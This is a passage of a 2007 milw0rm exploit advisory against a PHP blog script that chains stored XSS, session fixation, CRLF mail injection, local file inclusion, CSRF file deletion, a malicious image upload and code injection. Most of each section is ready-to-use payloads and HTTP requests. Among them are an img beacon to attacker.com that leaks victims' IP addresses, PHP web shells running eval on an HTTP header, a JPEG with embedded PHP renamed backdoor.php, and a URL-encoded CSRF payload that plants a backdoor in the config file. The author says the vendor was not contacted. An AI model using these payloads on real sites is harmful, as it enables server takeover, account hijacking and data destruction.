Content-Type: application/x-www-form-urlencoded\r\n
|
|
Content-Length: 229\r\n\r\n
|
|
y=07&m=07&entry=entry070727-161718&comment_name=HereMyName
|
|
&comment_email=&comment_url=&user_ip=<script>alert(666)</script>
|
|
&style_dropdown=--&comment_text=This+is+an+example+comment.
|
|
&comment_capcha=571560&submit=%A0Post+Comment%A0\r\n\r\n
|
|
|
|
The sender IP address can be only seen by a registered
|
|
user. So the code sent by the attacker will be executed
|
|
when a registered user will see the comments page.
|
|
|
|
|
|
|
|
III - SESSION FIXATION
|
|
|
|
In a session fixation attack, the attacker have to set
|
|
the victim's session id. In our case, the attacker fix
|
|
the user's session id, the victim which is logged in,
|
|
will get logged out when the cookie will be set, then
|
|
if the victim try to log in, the session id will be
|
|
registered on the server. Let's see a part of the
|
|
logged_in() function:
|
|
|
|
11| function logged_in ( $redirect_to_login, $redirect_to_setup ) {
|
|
12|
|
|
13| // Turn off URL SIDs.
|
|
14| ini_set('url_rewriter.tags','');
|
|
15| ini_set('session.use_trans_sid', false);
|
|
16|
|
|
17| // Init the session.
|
|
18| session_set_cookie_params(60*60*24*5);
|
|
19|
|
|
20| // Check if the user has a client-side cookie.
|
|
21| if ( isset( $_COOKIE[ 'sid' ] ) ) {
|
|
22| session_id($_COOKIE[ 'sid' ]);
|
|
23| }
|
|
24|
|
|
25| // Start the session.
|
|
26| session_start ();
|
|
27|
|
|
28| // Check if user is logged in.
|
|
29| if ( isset( $_SESSION[ 'logged_in' ] ) &&
|
|
| $_SESSION[ 'logged_in' ] == 'yes' ) {
|
|
|
|
|
30| if ( $_SESSION[ 'site_path' ] ===
|
|
| dirname($_SERVER[ 'PHP_SELF' ]) ) {
|
|
|
|
|
31| if ( $_SESSION[ 'ip' ] === getIP() ) {
|
|
32| // User is logged in.
|
|
33| return ( true );
|
|
34| }
|
|
35| }
|
|
36| }
|
|
|
|
After, the attacker, who knows the session id, just
|
|
have to use it to be logged in as the victim's account.
|
|
But in our case, he must also know the victim's IP.
|
|
I'll demonstrate how to get administrator rights even
|
|
if the victim has a protection against XSS (NoScript
|
|
Firefox plugin for example). First, the attacker will
|
|
fix the victim's session id by setting a cookie to
|
|
the victim. Then he'll also force the victim's web
|
|
browser to establish a connexion to a script that
|
|
will get the victim's IP. Take a look at this schema:
|
|
|
|
+----------------------------------------------------------+
|
|
| The attacker post a comment using the XSS vulnerability. |
|
|
| The code which will be executed on the client browser |
|
|
| will set the "sid" cookie, it will also force the |
|
|
| victim's web browser to send an HTTP packet to a script |
|
|
| that will mail the victim's IP to the attacker. |
|
|
+----------------------------------------------------------+
|
|
|
|
|
| +---------------------------------------------------+
|
|
+--> | <meta http-equiv=Set-Cookie content=sid=MD5HERE;> |
|
|
| <img src=http://attacker.com/getip_and_mail.php> |
|
|
+---------------------------------------------------+
|
|
|
|
|
+-------------------------------------------------+ |
|
|
| The victim, which is logged in, have to see the | <--+
|
|
| comments page. After saw it, the victim will be |
|
|
| logged out. |
|
|
+-------------------------------------------------+
|
|
|
|
|
| +------------------------------------------+
|
|
+--> | The victim try to log in. Now that she's |
|
|
| logged in, the session id set by the |
|
|
| attacker is registered on the server. |
|
|
+------------------------------------------+
|
|
|
|
|
+--------------------------------------------+ |
|
|
| Now the attacker just have to send an HTTP |<--+
|
|
| packet which contains the session id and a |
|
|
| special header with the victim's IP. |
|
|
| The attacker is logged in as the victim's |
|
|
| account. |
|
|
+--------------------------------------------+
|
|
|
|
As you can see, even if the victim is protected against
|
|
XSS, it's always possible to get adminitrator rights with
|
|
this type of attack, we juste use the "meta" and "img" tags.
|
|
|
|
|
|
|
|
IV - MAIL() CRLF INJECTION
|
|
|
|
User's variables are not checked before be used in the mail()
|
|
function. The file "comment_add_cgi.php" call the
|
|
write_comment() function with the following parameters:
|
|
|
|
214| $comment_name = sb_stripslashes($_POST['comment_name']);
|
|
215| $comment_email = sb_stripslashes($_POST['comment_email']);
|
|
216| $comment_url = sb_stripslashes($_POST['comment_url']);
|
|
217| $comment_text = sb_stripslashes($_POST['comment_text']);
|
|
218|
|
|
219| $result = write_comment($_POST[ 'y' ],$_POST[ 'm' ],
|
|
| $_POST['entry' ],
|
|
220| $comment_name,
|
|
221| $comment_email,
|
|
222| $comment_url,
|
|
223| $comment_text,
|
|
224| $_POST[ 'user_ip' ],
|
|
225| $moderationFlag,
|
|
226| time() );
|
|
|
|
Then the function clean_post_text() is applied to $comment_email.
|
|
But this function doesn't protect against CRLF Injection, this
|
|
will not replace the \r and \n chars. Take a look at the file
|
|
"sb_comments.php":
|
|
|
|
471| function write_comment($y,$m,$entry,$comment_name,$comment_email
|
|
|
|
|
525| if ( $comment_email != '' ) {
|
|
526| $save_data[ 'EMAIL' ] = clean_post_text( $comment_email );
|
|
527| }
|
|
|
|
|
584| // Send the Email
|
|
585| if ( array_key_exists( 'EMAIL', $save_data ) ) {
|
|
586| sb_mail( $save_data[ 'EMAIL' ], $blog_config[ 'blog_email' ],
|
|
| $subject, $body, false );
|
|
587| }
|
|
|
|
The goal of the sb_mail() function is to send mass emails.
|
|
As you can see belows, there is no protection against
|
|
$save_data[ 'EMAIL' ].
|
|
|
|
45| function sb_mail ($from, $to, $subject, $body, $text=true, $priority=3) {
|
|
|
|
|
69| $headers .= 'From: ' . $from . " \r\n";
|
|
70| $headers .= 'Reply-To: ' . $from . " \r\n";
|
|
71| $headers .= 'Return-Path: ' . $from . " \r\n";
|
|
|
|
|
76| ini_set('sendmail_from', $from);
|
|
77| for ( $j=0; $j < count($to_array); $j++ ) {
|
|
78| $result = mail( $to_array[$j], sb_stripslashes($subject),
|
|
| sb_stripslashes($body), $headers );
|
|
79| }
|
|
80| ini_restore('sendmail_from');
|
|
|
|
So an attacker can perform a CRLF injection attack into the mail()
|
|
function, it will probably be used by spammers.
|
|
|
|
|
|
|
|
V - LOCAL FILE INCLUSION (+CSRF)
|
|
|
|
There is an LFI vulnerability (admin rights needed)
|
|
in the file "languages_cgi.php":
|
|
|
|
76| if ( array_key_exists( 'store_data', $_GET ) ) {
|
|
77|
|
|
78| // Store all the data from language 2
|
|
79| require_once('languages/' . $_GET[ 'lang2' ] . '/strings.php');
|
|
|
|
This will require magic_quotes_gpc=Off. Because they use the
|
|
GET method, there's a CSRF vulnerability too. For each new
|
|
comments, a new text file is created. The structure of the file
|
|
like this:
|
|
|
|
VERSION|0.4.8
|
|
|NAME|<my_name>
|
|
|DATE|1188078694
|
|
|CONTENT|<my_comment>
|
|
|EMAIL|<my_email>
|
|
|IP-ADDRESS|<my_ip_or_xss>
|
|
|MODERATIONFLAG|H
|
|
|
|
Now imagine that an attacker use the XSS vulnerability to post
|
|
php code and html tags which will make the admin sent an HTTP
|
|
request to exploit the LFI vuln. The XSS code will look's like
|
|
this:
|
|
|
|
<!--- <?php
|
|
$handle = fopen('./themes/back.php', 'w+');
|
|
fwrite($handle, '<?php @eval($_SERVER[HTTP_SHELL]); ?>');
|
|
fclose($handle);
|
|
mail('hacker@you.com', 'hey', 'code executed');
|
|
exit();
|
|
/* --->
|
|
<img src=http://<site>/languages_cgi.php?store_data=1&lang2=
|
|
../content/07/07/entry070727-161718/comments/comment070825-235134.txt%00>
|
|
<!--- */
|
|
?> --->
|
|
|
|
In order to exploit this, the attacker must know where the new
|
|
file will be created. Let's see the code:
|
|
|
|
471| function write_comment ( $y, $m, $entry, $comment_name,
|
|
| $comment_email, $comment_url, $comment_text, $user_ip,
|
|
| $hold_flag='', $comment_date=null ) {
|
|
|
|
|
478| $basedir = 'content/';
|
|
479| $dir = $basedir.$y.'/'.$m.'/'.$entry;
|
|
|
|
|
494| $dir .= '/comments';
|
|
|
|
|
506| $dir .= '/';
|
|
|
|
|
512| $stamp = date('ymd-His');
|
|
513| if ( $blog_config[ 'blog_enable_gzip_txt' ] ) {
|
|
514| $entryFile = $dir.'comment'.$stamp.'.txt.gz';
|
|
515| } else {
|
|
516| $entryFile = $dir.'comment'.$stamp.'.txt';
|
|
517| }
|
|
|
|
The variables $y, $m and $entry are sent with the HTTP request.
|
|
The filename is decided with the date() function. There is many
|
|
ways for know the content returned by $stamp:
|
|
- Ask the server by sending an HTTP request (the "Date" header).
|
|
- Bruteforce the path (Add several html tags).
|
|
- Divide our attack in two parts (filenames are displayed in the html source).
|
|
|
|
The attacker must also urlencode the content of his XSS, the
|
|
HTTP packet will finally look's like this:
|
|
|
|
POST /comment_add_cgi.php HTTP/1.1
|
|
Host: localhost
|
|
Connection: keep-alive
|
|
Cookie: PHPSESSID=<SID>
|
|
Client-IP: <HTML_AND_PHP_CONTENT>
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Content-Length: <LEN>
|
|
y=<Y>&m=<M>&entry=<ENTRY>&comment_name=Hacker
|
|
&comment_email=my%40you.com&comment_url=&user_ip=
|
|
<HTML_AND_PHP_CONTENT_URLENCODED>
|
|
&style_dropdown=--&comment_text=Hello&comment_capcha
|
|
=128619&submit=%A0Post+Comment%A0
|
|
|
|
Now the attacker have to wait until the admin see his comment.
|
|
|
|
|
|
|
|
VI - FILE DELETION (+CSRF)
|
|
|
|
There is a CSRF vulnerability which can lead to file
|
|
deletion. Let's see the code of "trackback_delete_cgi.php":
|
|
|
|
22| if ( array_key_exists( 'trackback', $_GET ) ) {
|
|
23| $ok = delete_trackback( $_GET[ 'trackback' ] );
|
|
24| }
|
|
|
|
So if the variable "trackback" is set with the GET method,
|
|
the delete_trackback() function is called. The code of
|
|
this function is situated in "sb_trackback.php":
|
|
|
|
229| function delete_trackback ( $entryFile ) {
|
|
230| // Delete the old file
|
|
231| if ( file_exists( $entryFile ) ) {
|
|
232| $ok = sb_delete_file( $entryFile );
|
|
233| }
|
|
|
|
If the file exists, the function sb_delete_file() is called,
|
|
with the parameter $_GET['trackback']. The source code
|
|
of this function is situated in the file "sb_fileio.php":
|
|
|
|
171| function sb_delete_file ( $filename ) {
|
|
|
|
|
175| clearstatcache();
|
|
176| if ( file_exists( $filename ) ) {
|
|
177| $result = @unlink( $filename );
|
|
178| }
|
|
|
|
There is no verification before deleting the file. So we
|
|
can delete any files on the server. The HTTP packet sent
|
|
by the attacker will look's like this:
|
|
|
|
GET /trackback_delete_cgi.php?trackback=<FILE> HTTP/1.1\r\n
|
|
Host: localhost\r\n
|
|
Connection: keep-alive\r\n\r\n
|
|
|
|
Admin right's are needed to delete files, but because
|
|
it's also a CRLF vulnerability, we can use it in our XSS,
|
|
then so admin right's aren't needed for the attacker.
|
|
|
|
|
|
|
|
VII - FILE UPLOAD VULNERABILITY
|
|
|
|
When we're admin, we can upload emoticons.
|
|
Let'see the content of the function upload_emoticons()
|
|
which is situated in the file "emoticons.php":
|
|
|
|
36| function upload_emoticons() {
|
|
37| // Emoticon upload form results
|
|
38| $path = 'images/emoticons';
|
|
39| $uploaddir = $path;
|
|
40|
|
|
41| $ok = false;
|
|
42| if ( $_FILES[ 'user_emot' ][ 'error' ] == 0 ) {
|
|
43| if (!file_exists($uploaddir)) {
|
|
44| $oldumask = umask(0);
|
|
45| @mkdir($uploaddir, 0777 );
|
|
46| @umask($oldumask);
|
|
47| }
|
|
48|
|
|
49| $uploaddir .= '/';
|
|
50| $uploadfile = $uploaddir.
|
|
| preg_replace("/ /","_",$_FILES[ 'user_emot' ][ 'name' ]);
|
|
51|
|
|
52| if (@is_uploaded_file($_FILES['user_emot']['tmp_name'])) {
|
|
|
|
|
53| if (@getimagesize($_FILES['user_emot']['tmp_name']) == FALSE){
|
|
54| $ok = -1;
|
|
|
|
|
55| } else {
|
|
|
|
|
56| if (@move_uploaded_file($_FILES['user_emot']['tmp_name'], $uploadfile)){
|
|
57| chmod( $uploadfile, 0777 );
|
|
58| $ok = true;
|
|
59| }
|
|
|
|
As you can see, there is only one protection against file
|
|
upload vulnerability. The function getimagesize() will
|
|
return FALSE if the upload file isn't a valid image file.
|
|
But we can bypass this easily. Take a look at this:
|
|
|
|
C:\>edjpgcom img1x1.jpg
|
|
|
|
C:\>hexdump img1x1.jpg
|
|
|
|
ff d8 ff e0 00 10 4a 46 - 49 46 00 01 01 01 00 60 ......JF IF......
|
|
00 60 00 00 ff db 00 43 - 00 08 06 06 07 06 05 08 .......C ........
|
|
07 07 07 09 09 08 0a 0c - 14 0d 0c 0b 0b 0c 19 12 ........ ........
|
|
13 0f 14 1d 1a 1f 1e 1d - 1a 1c 1c 20 24 2e 27 20 ........ ........
|
|
22 2c 23 1c 1c 28 37 29 - 2c 30 31 34 34 34 1f 27 ......7. .01444..
|
|
39 3d 38 32 3c 2e 33 34 - 32 ff db 00 43 01 09 09 9.82..34 2...C...
|
|
09 0c 0b 0c 18 0d 0d 18 - 32 21 1c 21 32 32 32 32 ........ 2...2222
|
|
32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32 22222222 22222222
|
|
32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 32 32 22222222 22222222
|
|
32 32 32 32 32 32 32 32 - 32 32 32 32 32 32 ff fe 22222222 222222..
|
|
00 26 3c 3f 70 68 70 20 - 65 76 61 6c 28 24 5f 53 ....php. eval...S
|
|
45 52 56 45 52 5b 48 54 - 54 50 5f 53 48 45 4c 4c ERVER.HT TP.SHELL
|
|
5d 29 3b 20 3f 3e ff c0 - 00 11 08 00 01 00 01 03 ........ ........
|
|
01 22 00 02 11 01 03 11 - 01 ff c4 00 1f 00 00 01 ........ ........
|
|
05 01 01 01 01 01 01 00 - 00 00 00 00 00 00 00 01 ........ ........
|
|
02 03 04 05 06 07 08 09 - 0a 0b ff c4 00 b5 10 00 ........ ........
|
|
02 01 03 03 02 04 03 05 - 05 04 04 00 00 01 7d 01 ........ ........
|
|
02 03 00 04 11 05 12 21 - 31 41 06 13 51 61 07 22 ........ 1A..Qa..
|
|
71 14 32 81 91 a1 08 23 - 42 b1 c1 15 52 d1 f0 24 q.2..... B...R...
|
|
33 62 72 82 09 0a 16 17 - 18 19 1a 25 26 27 28 29 3br..... ........
|
|
2a 34 35 36 37 38 39 3a - 43 44 45 46 47 48 49 4a .456789. CDEFGHIJ
|
|
53 54 55 56 57 58 59 5a - 63 64 65 66 67 68 69 6a STUVWXYZ cdefghij
|
|
73 74 75 76 77 78 79 7a - 83 84 85 86 87 88 89 8a stuvwxyz ........
|
|
92 93 94 95 96 97 98 99 - 9a a2 a3 a4 a5 a6 a7 a8 ........ ........
|
|
a9 aa b2 b3 b4 b5 b6 b7 - b8 b9 ba c2 c3 c4 c5 c6 ........ ........
|
|
c7 c8 c9 ca d2 d3 d4 d5 - d6 d7 d8 d9 da e1 e2 e3 ........ ........
|
|
e4 e5 e6 e7 e8 e9 ea f1 - f2 f3 f4 f5 f6 f7 f8 f9 ........ ........
|
|
fa ff c4 00 1f 01 00 03 - 01 01 01 01 01 01 01 01 ........ ........
|
|
01 00 00 00 00 00 00 01 - 02 03 04 05 06 07 08 09 ........ ........
|
|
0a 0b ff c4 00 b5 11 00 - 02 01 02 04 04 03 04 07 ........ ........
|
|
05 04 04 00 01 02 77 00 - 01 02 03 11 04 05 21 31 ......w. .......1
|
|
06 12 41 51 07 61 71 13 - 22 32 81 08 14 42 91 a1 ..AQ.aq. .2...B..
|
|
b1 c1 09 23 33 52 f0 15 - 62 72 d1 0a 16 24 34 e1 ....3R.. br....4.
|
|
25 f1 17 18 19 1a 26 27 - 28 29 2a 35 36 37 38 39 ........ ...56789
|
|
3a 43 44 45 46 47 48 49 - 4a 53 54 55 56 57 58 59 .CDEFGHI JSTUVWXY
|
|
5a 63 64 65 66 67 68 69 - 6a 73 74 75 76 77 78 79 Zcdefghi jstuvwxy
|
|
7a 82 83 84 85 86 87 88 - 89 8a 92 93 94 95 96 97 z....... ........
|
|
98 99 9a a2 a3 a4 a5 a6 - a7 a8 a9 aa b2 b3 b4 b5 ........ ........
|
|
b6 b7 b8 b9 ba c2 c3 c4 - c5 c6 c7 c8 c9 ca d2 d3 ........ ........
|
|
d4 d5 d6 d7 d8 d9 da e2 - e3 e4 e5 e6 e7 e8 e9 ea ........ ........
|
|
f2 f3 f4 f5 f6 f7 f8 f9 - fa ff da 00 0c 03 01 00 ........ ........
|
|
02 11 03 11 00 3f 00 f7 - fa 28 a2 80 3f ff d9 d9 ........ ........
|
|
|
|
C:\>ren img1x1.jpg backdoor.php
|
|
|
|
The created file is a valid jpg image, so the check made
|
|
by the function getimagesize() will be bypassed. And so
|
|
the backdoor will be uploaded in "images/emoticons".
|
|
|
|
|
|
|
|
VIII - CODE EXECUTION (+CSRF)
|
|
|
|
There is a CSRF vulnerability which can lead to execute
|
|
PHP code, this is the critical point of this script.
|
|
Let's see the code of the file "manage_users.php":
|
|
|
|
61| if ( $_GET[ 'action' ] == "update" ) {
|
|
|
|
|
63| if ($_SESSION[ 'fulladmin' ] != 'yes' ) {
|
|
64| echo($lang_string['fulladminerror']);
|
|
65| } else {
|
|
66|
|
|
67| // First read and remove the offending line
|
|
68| $pfile = fopen("config/users.php","a+");
|
|
69| rewind($pfile);
|
|
|
|
|
70| while (!feof($pfile)) {
|
|
71| $line = fgets($pfile);
|
|
72| $tmp = explode('|', $line);
|
|
73|
|
|
74| if ( $_GET[ 'type' ] == "edit" ) {
|
|
75| if ( $tmp[1] != $_GET[ 'user' ] )
|
|
| { $newfile = $newfile . $line; }
|
|
76| } else {
|
|
77| $newfile = $newfile . $line;
|
|
78| }
|
|
79| }
|
|
80| fclose($pfile);
|
|
|
|
|
101| $blankfield = "";
|
|
102|
|
|
103| // Create the record structure
|
|
104| if ( $_GET[ 'type' ] == "edit" ) {
|
|
|
|
|
107| $password = $_GET[ 'oldpasshash' ];
|
|
108| if ( $password != $_POST[ 'sPassword' ] ) {
|
|
109| $password = crypt($_GET[ 'user' ],$_POST[ 'sPassword' ] );
|
|
110| }
|
|
111|
|
|
112| $array =
|
|
| array($_POST[ 'sFullname' ], $_GET[ 'user' ], $password,
|
|
| $_POST[ 'sAvatar' ], $active, $_POST[ 'sEmail' ],
|
|
| $modcomments, $deleteentries, $editany, $blankfield);
|
|
|
|
|
113| } else {
|
|
|
|
|
114| $array =
|
|
| array($_POST[ 'sFullname' ], $_POST[ 'sUsername' ],
|
|
| crypt( $_POST[ 'sUsername' ], $_POST[ 'sPassword' ] ),
|
|
| $_POST[ 'sAvatar' ], $active, $_POST[ 'sEmail' ],
|
|
| $modcomments, $deleteentries, $editany, $blankfield);
|
|
115| }
|
|
|
|
|
116| $str = implode('|', $array);
|
|
117| $newfile = $newfile . $str . "n";
|
|
|
|
|
120| $pfile = fopen("config/users.php","w");
|
|
121| fwrite($pfile, $newfile);
|
|
122| fclose($pfile);
|
|
123|
|
|
124| redirect_to_url("manage_users.php");
|
|
125| }
|
|
126| }
|
|
|
|
As you can see there is no protection against PHP chars
|
|
(like strip_tags()) before inserting user's data into
|
|
the php file. But the author of the script add a ".htaccess"
|
|
file in the "config" directory. Let's see the content of
|
|
this file:
|
|
|
|
1| IndexIgnore *
|
|
2|
|
|
3| <Files .htaccess>
|
|
4| order allow,deny
|
|
5| deny from all
|
|
6| </Files>
|
|
7|
|
|
8| <Files *.txt>
|
|
9| order allow,deny
|
|
10| deny from all
|
|
11| </Files>
|
|
|
|
So we can't list the content of the directory, and we
|
|
don't have access to .htaccess/.txt files. But we can
|
|
access to .php files ! This require admin rights...
|
|
but we can write PHP code with the GET method, that's
|
|
why there's also a CSRF vulnerability. In our example
|
|
we will take this php code (as you can see we don't
|
|
need magic_quote_gpc=Off):
|
|
|
|
1| <?php
|
|
2|
|
|
3| if(isset($_GET[mail]))
|
|
4| {
|
|
5| $mail = <<<MAIL
|
|
6| hacker@you.com
|
|
7| MAIL;
|
|
8|
|
|
9| $subject = <<<SUBJ
|
|
10| Hey !
|
|
11| SUBJ;
|
|
12|
|
|
13| $body = <<<BODY
|
|
14| Code executed
|
|
15| BODY;
|
|
16|
|
|
17| mail($mail,$subject,$body);
|
|
18| }
|
|
19| else eval($_SERVER[HTTP_SHELL]);
|
|
20|
|
|
21| ?>
|
|
|
|
So the attacker just have to post (using the XSS)
|
|
something like this:
|
|
|
|
<img src=http://<site>/manage_users.php?action=update
|
|
&type=edit&user=%3C%3Fphp%0D%0A%0D%0Aif%28isset%28%24
|
|
_GET%5Bmail%5D%29%29%0D%0A%7B%0D%0A%24mail+%3D+%3C%3C
|
|
%3CMAIL%0D%0Ahacker%40you.com%0D%0AMAIL%3B%0D%0A%0D%0
|
|
A%24subject+%3D+%3C%3C%3CSUBJ%0D%0AHey+%21%0D%0ASUBJ%
|
|
3B%0D%0A%0D%0A%24body+%3D+%3C%3C%3CBODY%0D%0ACode+exe
|
|
cuted%0D%0ABODY%3B%0D%0A%0D%0Amail%28%24mail%2C%24sub
|
|
ject%2C%24body%29%3B%0D%0A%7D%0D%0Aelse+eval%28%24_SE
|
|
RVER%5BHTTP_SHELL%5D%29%3B%0D%0A%0D%0A%3F%3E>
|
|
<!--- Write php code --->
|
|
|
|
<img src=http://<site>/config/users.php?mail=1>
|
|
<!--- mail the attacker --->
|
|
|
|
<img src=http://<site>/trackback_delete_cgi.php?track
|
|
back=MY_COMMENT_FILENAME>
|
|
<!--- delete the comment --->
|
|
|
|
After, he have to wait until the admin see his comment.
|
|
Then the HTTP request will be sent to the script, and
|
|
so the PHP code will be written into "config/users.php".
|
|
|
|
|
|
|
|
IX - END
|
|
|
|
As you can see there's some pretty cool things here:
|
|
|
|
- [III] We bypass Noscript firefox plugin protection.
|
|
We don't use any <script> tags.
|
|
|
|
- [V] We use a "self inclusion" technique.
|
|
We use html and php commentary tags which are very
|
|
useful in our case.
|
|
|
|
I didn't contacted the author of the script, but if
|
|
he keeps himself informed of updates concerning his
|
|
script, he should correct these vulnerabilities as
|
|
quickly as possible.
|
|
|
|
|
|
//Greetz: ddx39, berga, wo, overlock[]
|
|
|
|
# milw0rm.com [2007-10-22] |